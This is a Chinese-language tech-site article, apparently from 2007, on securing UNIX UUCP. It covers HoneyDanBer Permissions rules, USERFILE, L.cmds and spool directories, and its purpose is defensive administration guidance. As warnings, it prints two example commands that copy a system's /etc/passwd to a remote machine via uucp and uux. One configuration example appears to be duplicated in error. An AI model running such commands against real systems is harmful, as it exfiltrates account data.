科技行者

行者学院 转型私董会 科技行者专题报道 网红大战科技行者

知识库

知识库 安全导航



ZDNet>网络频道>ZD评测>网络安全手册<一>

  • 扫一扫
    分享文章到微信

  • 扫一扫
    关注官方公众号
    至顶头条

本文主要讨论网络和数据通讯安全,分为六个部分.第一部分概述最老的UNIX网络UUCP系统;第二部分讨论UUCP的安全;第三部分讨论新HONEY DANBER UUCP及安全特点;第四部分讨论其它的UNIX网络,其中包括RJE和NSC;第五部分讨论通讯的物理安全;最后一部分讨论Sun Microsystem公司的Sun O

来源: 2007年10月14日

关键字:安全 安全 手册

  有两个主要的UUCP版本,第一个是与UNIX系统V一起颁布的,在本节将称为老UUCP,另一个版本称为HONEYDANBERUUCP,由AT&T颁布.

  HONEYDANBERUUCP较之老UUCP有若干改进:

  <1>支持更多的拨号和网络:

  ◆智能自动拨号调制解调器以及标准AT&T技术的801自动拨号器.

  ◆网络,如DATAKITVCS,UNET/ETHERNET,3COM/ETHERNET,SYTEK,TCP(BSDUNIX系统).

  ◆连接到LAN的拨号器.

  ◆X.25永久性虚拟环网(用X.25协议)

  <2>重新组织了/usr/spool/uucp目录,在该目录下,对每个远程系统有一个目录.

  <3>加强了安全.

  ◆USERFILE和L.cmds文件组合成一个文件Permissions.

  ◆可以在一级级系统上指定远程可执行命令.

  ◆可分别控制文件传入和文件传出.

  ◆缺省的安全设置很严格.

  (1)HONEYDANBERUUCP与老UUCP的差别

  HONEYDANBERUUCP中的/usr/lib/uucp/Systems文件是原来UUCP中的/usr/lib/uucp/L.sys.HONEYDANBERUUCP中/usr/spool/uucp/.log下的一个目录代替了老UUCP的文件/usr/spool/uucp/logFILE./usr/spool/uucp/.log中的目录uucico,uucp,uux,uuxqt含有相应命令的记录文件,各目录对应最近处于活跃状态的远程系统都有一个记录文件(记录文件在这些目录中通常保存一个星期).

  如果一个调用本系统的远程系统未列于Systems文件中,uucico将不允许该远程系统执行任何操作,而是启动shell程序/usr/lib/uucp/remote.unknown,由UUCP提供的该shell程序的缺省版本将在/usr/spool/uucp/.Admin/Foreign文件中记下远程系统的登录时间,日期及系统名.只要使remote.unknown不可执行,就能禁止这一操作,以达到与老UUCP兼容.

  C.,D.,X.,TM.等文件存放在/usr/spool/uucp下的不同目录中,目录名就是文件对应的远程系统名.

  在HONEYDANBERUUCP中USERFILE与L.cmds文件合并在一起,这个新文件/usr/lib/uucp/Permissions提供了更灵活的授予外系统存取许可的控制.文件中的规则表定义了可以发出请示的各种系统.规则与选项的格式如下.

  rule=listoption=yes|nooption=list...

  

  其中rule是登录名或机器名,list是用以分隔各项的规则表(表中各项随rule或option而变),option是下边将讨论的各选项之一,或为一个选项表,或只取yes/no决定允许/不允许一项操作.

  (2)登录名规则

  LOGNAME规则用于控制作为登录shell启动的uucico.

  LOGNAME=nuucp

  指定对所有登录到nuucp户头下的系统加缺省限制:

  ◆远程系统只能发送文件到/usr/spool/uucppublic目录中.

  ◆远程系统不能请求接收任何文件.

  ◆当uucico调用远程系统时,才发送已排入队列要发送到该远程系统的文件.这是uucico准确地识别远程系统的唯一方法(任何系统都可调用本系统并冒充是xyz系统).

  ◆由uuxqtux远程系统的名义可执行的命令是缺省规定的命令,这些缺省命令在编译时定义(通常只有rmail,rnews命令).

  ◆可用冒号分隔开若干个其它系统的uucico的登录户头.

  LOGNAME=nuucp:xuucp:yuucp

  

  任何设有LOGNAME规则的系统,若要登录请求UUCP传送,都会被回绝(系统将给信息"getlost",并挂起).

  一个LOGNAME规则就足够启动HONEYDANBERUUCP系统.事实上,当该系统运行时,将在Permissions文件中放一个无选项的LOGNAME规则,该规则应用于在/etc/passwd文件入口项shell域中有/usr/lib/uucp/uucico的所有登录户头.

  可使用若干选择忽略缺省限制,这些选项可组合,允许或限制各种操作.例如可用WRITE选项指定一个或多个送入文件的目录,而不用被限制送入/usr/spool/uucppublic目录.

  LOGNAME=nuucpWRITE=/

  

  这一规则允许文件送入本系统的任何目录.2-4项的限制依然保持.注意:

  远程UUCP请求可重写任何有写许可的文件,可指定多个写入文件的目录.用冒号分隔开:

  LOGNAME=nnuucpWRITE=/usr:/floppy

  

  该规则允许远程系统将文件写到/usr和/floppy目录中.

  用REQUEST=yes选项可允许远程系统的用户从本系统拷贝文件.

  LOGNAME=nuucpREQUEST=yes

  

  能被拷贝的文件只能是存放在/usr/spool/uucppublic目录中的文件,1,3,4,项的限制仍然有效.若要允许远程系统可从其它目录拷贝文件,用READ选

  LOGNAME=nuucpREQUEST=yesREAD=/usr

  

  该规则允许远程系统拷贝/usr目录中任何其他人可读的文件.也可像WRITE选项一样指定目录表.

  用SENDFILES=yes选项可允许uucico在远程系统调用本系统时发送出已排队的文件.

  LOGNAME=nuucpSENDFILES=yes

  

  1,2,4项的限制依然有效.

  用CALLBACK=yes选项迫使任何登录到指定户头的系统callback.

  注意:CALLBACK=yes不能与其它选项组合作用.如果其它选项与这条选项列在一起,其它选项将被忽略.

  NOREAD和NOWRITE选项可分别与READ和WRITE选项一起使用.指定NOREAD选项下的目录表,可建立对READ选项的例外处理(即指出READ目录中不能由远程系统请求的目录),例如:

  LOGNAME=nuucp,REQUEST=yesREAD=/NOREAD=/etc

  该规则允许远程系统请求系统中任何其他人可读的文件,但不包括/etc中的文件,NOWRITE,WRITE的联合用法与上类似.

  一般来说,不要将缺省限制改得太多.若本系统被另一系统调去存贮电话费用或系统管理员没有办法拨出,可以用SENDFILE选项.若要对某些机器取消限制,则应当建立一个仅用于那些机器的uucico登录户头.例如:

  LOGNAME=nuucp,REQUEST=yesREAD=/NOREAD=/etc

  

  上面的规则允许在trusted户头下登录的系统在本系统中具有另一种文件存取许可,nuucp户头的口令应送给所有要与本系统uucp建立连接的系统管理员,trusted户头的口令则只能送给信任系统的管理员.

  如系统有信任和非信任的uucp户头,最好用PUBDIR选项为这两种户头建立不同的公共户头,PUBDIR允许系统管理员改变uucico对公共目录的概念(缺省为/usr/spool/uucppublic).例如:

  LOGNAME=nuucpSENDFILES=yesREQUEST=yes\

  PUBDIR=/usr/spool/uucppublic/nuucp

  LOGNAME=trustedSENDFILES=yesREQUEST=yesREAD=/WRITE=/\

  PUBDIR=/usr/spool/uucppublic/trusted

  

  上面的选项使要送到公共目录中的文件,对于不同登录nuucp和trusted分别放入不同的目录中.这将防止登录到nuucp的非信任系统在信任系统的公共目录中拷进和拷出文件(注意:上面的选项允许nuucp请求文件传送).行尾倒斜杠指明下一行是该行的续行.

  用MYNAME选项可以给登录进某一户头的系统赋与一个系统名:

  LOGNAME=XuucpMYNAME=IOnker

  

  (3)MACHINE规则

  MACHINE规则用于忽略缺省限制,在MACHINE规则中指定一个系统名表,就可使uucico调用这些系统时改变缺省限制.READ,WRITE,REQUEST,NOREAD,NOWRITE,PUBDIR选项的功能与LOGNAME相同.忽略CALLBACK,SENDFILES选项,MYNAME选项所定义的必须与LOGNAME规则联用,指定将赋给调用系统的名,该名仅当调用所定义的系统时才用.

  MACHINE规则的格式如下:

  MACHINE=zuul:gozur:enigmaWRITE=/READ=/

  

  这条规则使远程系统zuul,gozar,enigma能够发送/请求本系统上任何其他人可读/写的文件.一般不要让远程系统在除/usr/spool/uucppublic目录外的其它目录读写文件,因此,对于信任的系统也要少用MACHINE规则.

  系统名OTHER用于为指定用户外的所有其他用户建立MACHINE规则.

  COMMANDS选项用于改变uuxqt通过远程请求执行的缺省命令表.

  MACHINE=zuulCOMMANDS=rmail:rnews:lp

  

  上面的选项允许系统zuul请求远程执行命令rmail,rnews,lp.uucico不用这个选项.uuxqt用该选项确定以什么系统的名义执行什么命令.

  COMMANDS选项所指定的命令将用缺省设置的路径PATH.PATH在编辑uuxqt时被建立通常设置为/bin:/usr/bin.在COMMANDS选项中给出全路径名可以忽略缺省PATH.

  MACHINE=zuulCOMMANDS=umail:/usr/local/bin/rnews:lp

  

  同样地,对HONEYDANBERUUCP也应当象老UUCP一样不允许远程系统运行uucp或cat这样的命令.任何能读写文件的远程执行命令都可能威胁局域安全.虽然局域系统对远程系统名进行一定程序的校核,但是任何远程系统在调用局域系统时都可自称是"xyz",而局域系统却完全相信是真的.因此局域系统的系统可能认为只允许了zuul运行lp命令.但实际上任何自称是zuul的系统也被允许运行lp命令.

  有两种方法可以证实系统的身份.一种方法是拒绝用CALLBACK=yes与调用系统对话.只要电话和网络线未被破密或改变,局域系统就能肯定地确认远程系统的身份.另一种方法是在LOGNAME规则中用VALIDATE选项.若必须允许某些系统运行"危险"的命令,可联用COMMANDS和VALIDATE选项,

  VALIDATE选项用于LOGNAME规则中指定某系统必须登录到LOGNAME规定的登录户头下:

  LOGNAME=trustedVALIDATE=zuul

  MACHINE=COMMANDS=rmail:rnews:lp

  

  当一个远程系统自称是zuul登录时,uucico将查Permissions文件,找到LOGNAME=trusted规则中的VALIDATE=zuul,若该远程系统使用了登录户头trusted,uucico将认为该系统的确是zuul继续往下执行,否则uucico将认为该系统是假冒者,拒绝执行其请求.只要唯有zuul有trusted户头的登录口令,其它系统就不能假冒它.仅当登录口令是保密的,没有公布给其他非信任的系统管理员或不安全的系统,VALIDATE选项才能奏效.如果信任系统的登录口令泄漏了,则任何系统都可伪装为信任系统.

(3)uucico程序
uucp和uux命令实际上并不调用另一个系统及传送文件和执行命令,而是将用户的请求排入队列,并启动uucico程序.uucico完成实际的通讯工作.它调用其它的系统,登录,传送数据(可以是文件或请求远程命令执行).如果电话线忙,或其它系统已关机,传输请求仍针保留在队列中,uucico后续的职能操作(通常是cron完成)将发送这些传输请求.
uucico完成数据的发送和接收.在本系统的/etc/passwd文件中,有其它系统的uucico登录进入本系统的入口项,该入口项中指定的缺省shell是uucico. 因此,其它系统调用本系统时,直接与uucico对话.
(4)uuxqt程序
当另一系统的uucico调用本系统请求远程命令执行时,本系统的uucico将该请求排入队列,并在退出之前,启动uuxqt程序执行远程命令请求.
下面举例说明数据是如何传输的.假设本系统的一个用户发送邮件给另一远程系统remote1的某人,mail会执行uux,在remote1系统上远程地运行remail程序,要传送的邮件为remail命令的输入.uux将传输请求排入队列,然后启动uucico招待实际的远程调用和数据传输.如果remote1响应请求,uucico登录到remote1,然后传送两个文件:邮件和将在remote1上由uuxqt执行的uux命令文件.uux命令文件中含有运行remail请求.如果remote1在被调时已关机,uucico 则将无法登和传送文件,但是cron会周期地(1小时)启动uucico.uucico查找是否有还未传送出的数据,若发现uux指定的传输目标系统是remote1,就尝试再调用remote1,直到调通remote1为止,或者过了一定天数仍未调通remote1,未送出的邮件将作为"不可投递"的邮件退回给发送该邮件的用户.
2.UUCP的安全问题
UUCP系统未设置限制,允许任何本系统外的用户执行任何命令和拷贝进/出uucp用户可读/写的任何文件.在具体的uucp应用环境中应了解这点,根据需要设置保护.
在UUCP中,有两个程序处理安全问题.第一个是uucico程序,该程序在其它系统调用本系统时启动.这个程序是本系统uucp安全的关键,完成本系统文件传输的传进和传出.第二个程序是uuxqt,该程序为所有的远程命令执行服务.
(1)USERFILE文件
uucico用文件/usr/lib/uucp/USERFILE确定远程系统发送或接收什么文件,其格式为:
login,sys[c] path_name [path_name...]
其中login是本系统的登录名,sys是远程系统名,c是可选的call_back标志,path_name是目录名.
uucico作为登录shell启动时,将得到远程系统名和所在系统的登录名,并在USERFILE文件中找到匹配login和sys的行.如果该行含有call_back标志c,uucico将不传送文件,连接断开,调用远程系统(即,任何系统可以告诉本系统它的名是xyz,于是本系统挂起,调用实际的xyz执行文件传输),若无c,uucico 将执行远程系统请求的文件传送,被传送的文件名被假定为以path_name开头的.
用户需要了解以下几点:
◆如果远程系统使用的登录名未列于USERFILE的登录域中,uucico将拒绝允许其它系统做任何事,并挂起.
◆如果系统名未列于sys域中,uucico将使用USERFILE中有匹配的登录名和空系统名的第一行,如:nuucp,/usr/spool/uucppublic应用到作为nuucp登录的所有系统.cbuucp,c将迫使作为cbuucp登录的所有系统自
己执行文件传输的请求.若调用系统名不匹配sys系统中的任何一个,并且无空入口项,uucico也将拒绝做任何事.
◆若两个机器都设置了call_back标志,传送文件的请求决不会被执行,两个系统一直互相调用,直到两个系统中的一个取消call_back时,才能进行文件传送.
◆如果一个用户的登录名列于USERFILE文件的login域中,则当调用本系统的uucico为该用户传送文件时,uucico只传送至path_name指定的目录中的文件.空登录名用于所有未明确列于USERFILE文件中的用户进行登录.所以pat,/usr/pat
只允许pat传送/usr/pat目录结构中的文件.
,/usr/spool/uucppublic /tmp
其他用户仅允许传送目录/usr/spool/uucppublic和/tmp中的文件.
不要允许uucico将文件拷进/出到除了/usr/spool/uucppublic目录以外的其它任何目录,否则可能会有人用下面的命令拷贝走本系统的重要信息:
uucp yoursys!/etc/passwd to-creep
(2)L.cmds文件
uuxqt利用/usr/lib/uucp/L.cmds文件确定要执行的远程执行请求命令.该文件的格式是每行一条命令.如果只需uuxqt处理电子邮件,该文件中就只须一行命令:
rmail
系统管理员可允许登录用户执行netnews(rnews)的命令或远程打印命令(lp),但决不能允许用户执行拷贝文件到标准输出的命令,如cat命令或网络命令uucp,否则这些人只需在他们自己的系统上敲入:
uux "yoursys!uucp yoursys!/etc/passwd (outside!~/passwd)"
然后就可等待本系统发送出命令文件.
(3)uucp登录
UUCP系统需要两个登录户头,一个是其它系统登录的户头,另一个是系统管理使用的户头.例如,数据传输登录户头是nuucp,管理登录户头是uucp,则在 /etc/passwd文件中应当有二行.
UID和GID的5号通常留给uucp,由于uucico具有管理登录的SUID许可,因此
nuucp户头的UID和GID应当用其它值.
(4)uucp使用的文件和目录
/usr/lib/uucp用于存放不能由用户直接运行的各种uucp,如uuxqt和uucico.该目录还含有若干个确定uucp如何操作的文件,如L.cmds和USERFILE. 这些文件只能对uucp管理户头可写(系统管理员一定不愿让用户更改远程可执行命令表):根据安全的观点,该目录中另一个系统管理员必须清楚的文件是 L.sys.该文件中含有uucico能调用的每个系统的入口项.入口项数据包括uucico所调用系统的电话号码,登录名,未加密的口令.不用说,L.sys应当属于uucp管理户头所有,且应当具有400或600存取许可.
uucp用/usr/spool/uucp目录存放工作文件.文件名以C.开头的文件是送到其它系统的命令文件,含有在其它系统上拷入/出数据和执行命令的请求.文件名以D.开头的文件用作C.文件的数据文件.文件名以X.开头的文件是来自其它系统的远程执行请求,由uuxqt解释.文件名以TM.开始的文件是从其它系统传送数据到本系统过程中uucp所使用的暂存文件.XQTDIR是uuxqt用于执行X. 文件的目录.LOGFILE可有助于管理uucp的安全,它含有执行uucp请求成功与否的信息.系统管理员可时常查看该文件,了解有哪些系统正登录入本系统执行uucp请求?是什么请求?特别要检查这些请求是否试图做不允许的操作。
推广二维码
邮件订阅

如果您非常迫切的想了解IT领域最新产品与技术信息,那么订阅至顶网技术邮件将是您的最佳途径之一。

重磅专题